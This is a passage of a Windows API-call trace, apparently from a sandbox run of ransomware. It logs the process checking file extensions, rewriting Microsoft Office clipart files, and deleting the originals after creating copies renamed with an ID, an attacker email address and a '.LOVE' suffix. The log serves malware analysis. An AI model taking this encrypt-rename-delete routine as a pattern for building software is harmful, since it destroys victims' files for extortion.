68 [0221.357] lstrlenW (lpString=".dbf") returned 4 [0221.357] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0221.357] lstrlenW (lpString=".1cd") returned 4 [0221.357] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0221.357] lstrlenW (lpString=".jpg") returned 4 [0221.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.358] GetLastError () returned 0x0 [0221.358] ReadFile (in: hFile=0x354, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x1cac, lpOverlapped=0x0) returned 1 [0221.360] WriteFile (in: hFile=0x388, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x1cb0, lpOverlapped=0x0) returned 1 [0221.360] ReadFile (in: hFile=0x354, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.360] WriteFile (in: hFile=0x388, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.361] SetEndOfFile (hFile=0x388) returned 1 [0221.361] CloseHandle (hObject=0x388) returned 1 [0221.361] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.361] SetEndOfFile (hFile=0x354) returned 1 [0221.362] CloseHandle (hObject=0x354) returned 1 [0221.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.362] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0221.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0221.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0221.363] lstrlenW (lpString=".doc") returned 4 [0221.363] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.363] lstrlenW (lpString=".docx") returned 5 [0221.363] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.363] lstrlenW (lpString=".pdf") returned 4 [0221.363] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.363] lstrlenW (lpString=".xls") returned 4 [0221.363] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.363] lstrlenW (lpString=".xlsx") returned 5 [0221.363] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.363] lstrlenW (lpString=".ppt") returned 4 [0221.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0221.363] lstrlenW (lpString=".zip") returned 4 [0221.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.363] lstrlenW (lpString=".rar") returned 4 [0221.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.363] lstrlenW (lpString=".bz2") returned 4 [0221.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.363] lstrlenW (lpString=".7z") returned 3 [0221.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0221.363] lstrlenW (lpString=".dbf") returned 4 [0221.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0221.363] lstrlenW (lpString=".1cd") returned 4 [0221.363] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0221.363] lstrlenW (lpString=".jpg") returned 4 [0221.363] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.364] GetLastError () returned 0x0 [0221.364] ReadFile (in: hFile=0x354, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x3dbe, lpOverlapped=0x0) returned 1 [0221.412] WriteFile (in: hFile=0x388, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x3dc0, lpOverlapped=0x0) returned 1 [0221.413] ReadFile (in: hFile=0x354, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.413] WriteFile (in: hFile=0x388, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.413] SetEndOfFile (hFile=0x388) returned 1 [0221.414] CloseHandle (hObject=0x388) returned 1 [0221.414] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.414] SetEndOfFile (hFile=0x354) returned 1 [0221.415] CloseHandle (hObject=0x354) returned 1 [0221.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0221.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0221.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0221.415] lstrlenW (lpString=".doc") returned 4 [0221.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.415] lstrlenW (lpString=".docx") returned 5 [0221.415] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.415] lstrlenW (lpString=".pdf") returned 4 [0221.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.415] lstrlenW (lpString=".xls") returned 4 [0221.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.415] lstrlenW (lpString=".xlsx") returned 5 [0221.415] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.415] lstrlenW (lpString=".ppt") returned 4 [0221.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0221.416] lstrlenW (lpString=".zip") returned 4 [0221.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.416] lstrlenW (lpString=".rar") returned 4 [0221.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.416] lstrlenW (lpString=".bz2") returned 4 [0221.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.416] lstrlenW (lpString=".7z") returned 3 [0221.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0221.416] lstrlenW (lpString=".dbf") returned 4 [0221.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0221.416] lstrlenW (lpString=".1cd") returned 4 [0221.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0221.416] lstrlenW (lpString=".jpg") returned 4 [0221.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.416] GetLastError () returned 0x0 [0221.417] ReadFile (in: hFile=0x354, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x1c80, lpOverlapped=0x0) returned 1 [0221.455] WriteFile (in: hFile=0x388, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x1c90, lpOverlapped=0x0) returned 1 [0221.456] ReadFile (in: hFile=0x354, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.456] WriteFile (in: hFile=0x388, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.456] SetEndOfFile (hFile=0x388) returned 1 [0221.457] CloseHandle (hObject=0x388) returned 1 [0221.457] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.457] SetEndOfFile (hFile=0x354) returned 1 [0221.458] CloseHandle (hObject=0x354) returned 1 [0221.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0221.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0221.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0221.459] lstrlenW (lpString=".doc") returned 4 [0221.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.459] lstrlenW (lpString=".docx") returned 5 [0221.459] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.459] lstrlenW (lpString=".pdf") returned 4 [0221.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.459] lstrlenW (lpString=".xls") returned 4 [0221.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.459] lstrlenW (lpString=".xlsx") returned 5 [0221.459] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.459] lstrlenW (lpString=".ppt") returned 4 [0221.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0221.459] lstrlenW (lpString=".zip") returned 4 [0221.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.459] lstrlenW (lpString=".rar") returned 4 [0221.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.460] lstrlenW (lpString=".bz2") returned 4 [0221.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.460] lstrlenW (lpString=".7z") returned 3 [0221.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0221.460] lstrlenW (lpString=".dbf") returned 4 [0221.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0221.460] lstrlenW (lpString=".1cd") returned 4 [0221.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0221.460] lstrlenW (lpString=".jpg") returned 4 [0221.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.463] GetLastError () returned 0x0 [0221.463] ReadFile (in: hFile=0x320, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xa38, lpOverlapped=0x0) returned 1 [0221.508] WriteFile (in: hFile=0x374, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xa40, lpOverlapped=0x0) returned 1 [0221.509] ReadFile (in: hFile=0x320, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.509] WriteFile (in: hFile=0x374, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.509] SetEndOfFile (hFile=0x374) returned 1 [0221.509] CloseHandle (hObject=0x374) returned 1 [0221.509] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.509] SetEndOfFile (hFile=0x320) returned 1 [0221.518] CloseHandle (hObject=0x320) returned 1 [0221.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.519] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0221.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0221.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0221.520] lstrlenW (lpString=".doc") returned 4 [0221.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.520] lstrlenW (lpString=".docx") returned 5 [0221.520] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.520] lstrlenW (lpString=".pdf") returned 4 [0221.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.520] lstrlenW (lpString=".xls") returned 4 [0221.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.520] lstrlenW (lpString=".xlsx") returned 5 [0221.520] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.520] lstrlenW (lpString=".ppt") returned 4 [0221.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0221.520] lstrlenW (lpString=".zip") returned 4 [0221.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.520] lstrlenW (lpString=".rar") returned 4 [0221.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.520] lstrlenW (lpString=".bz2") returned 4 [0221.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.520] lstrlenW (lpString=".7z") returned 3 [0221.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0221.520] lstrlenW (lpString=".dbf") returned 4 [0221.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0221.520] lstrlenW (lpString=".1cd") returned 4 [0221.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0221.520] lstrlenW (lpString=".jpg") returned 4 [0221.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.521] GetLastError () returned 0x0 [0221.521] ReadFile (in: hFile=0x320, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x15b0, lpOverlapped=0x0) returned 1 [0221.559] WriteFile (in: hFile=0x374, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x15c0, lpOverlapped=0x0) returned 1 [0221.560] ReadFile (in: hFile=0x320, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.560] WriteFile (in: hFile=0x374, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.560] SetEndOfFile (hFile=0x374) returned 1 [0221.560] CloseHandle (hObject=0x374) returned 1 [0221.560] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.561] SetEndOfFile (hFile=0x320) returned 1 [0221.561] CloseHandle (hObject=0x320) returned 1 [0221.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 1 [0221.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0221.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0221.564] lstrlenW (lpString=".doc") returned 4 [0221.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.564] lstrlenW (lpString=".docx") returned 5 [0221.564] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.564] lstrlenW (lpString=".pdf") returned 4 [0221.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.564] lstrlenW (lpString=".xls") returned 4 [0221.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.564] lstrlenW (lpString=".xlsx") returned 5 [0221.564] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.564] lstrlenW (lpString=".ppt") returned 4 [0221.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0221.564] lstrlenW (lpString=".zip") returned 4 [0221.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.564] lstrlenW (lpString=".rar") returned 4 [0221.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.565] lstrlenW (lpString=".bz2") returned 4 [0221.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.565] lstrlenW (lpString=".7z") returned 3 [0221.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0221.565] lstrlenW (lpString=".dbf") returned 4 [0221.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0221.565] lstrlenW (lpString=".1cd") returned 4 [0221.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0221.565] lstrlenW (lpString=".jpg") returned 4 [0221.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.590] GetLastError () returned 0x0 [0221.590] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x3dec, lpOverlapped=0x0) returned 1 [0221.603] WriteFile (in: hFile=0x380, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x3df0, lpOverlapped=0x0) returned 1 [0221.605] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.605] WriteFile (in: hFile=0x380, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.605] SetEndOfFile (hFile=0x380) returned 1 [0221.609] CloseHandle (hObject=0x380) returned 1 [0221.609] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.609] SetEndOfFile (hFile=0x2d8) returned 1 [0221.610] CloseHandle (hObject=0x2d8) returned 1 [0221.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 1 [0221.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0221.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0221.623] lstrlenW (lpString=".doc") returned 4 [0221.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.624] lstrlenW (lpString=".docx") returned 5 [0221.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.624] lstrlenW (lpString=".pdf") returned 4 [0221.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.624] lstrlenW (lpString=".xls") returned 4 [0221.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.624] lstrlenW (lpString=".xlsx") returned 5 [0221.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.624] lstrlenW (lpString=".ppt") returned 4 [0221.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0221.624] lstrlenW (lpString=".zip") returned 4 [0221.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.624] lstrlenW (lpString=".rar") returned 4 [0221.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.624] lstrlenW (lpString=".bz2") returned 4 [0221.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.624] lstrlenW (lpString=".7z") returned 3 [0221.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0221.624] lstrlenW (lpString=".dbf") returned 4 [0221.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0221.624] lstrlenW (lpString=".1cd") returned 4 [0221.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0221.624] lstrlenW (lpString=".jpg") returned 4 [0221.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.650] GetLastError () returned 0x0 [0221.650] ReadFile (in: hFile=0x36c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x486, lpOverlapped=0x0) returned 1 [0221.945] WriteFile (in: hFile=0x380, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x490, lpOverlapped=0x0) returned 1 [0221.946] ReadFile (in: hFile=0x36c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.946] WriteFile (in: hFile=0x380, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, 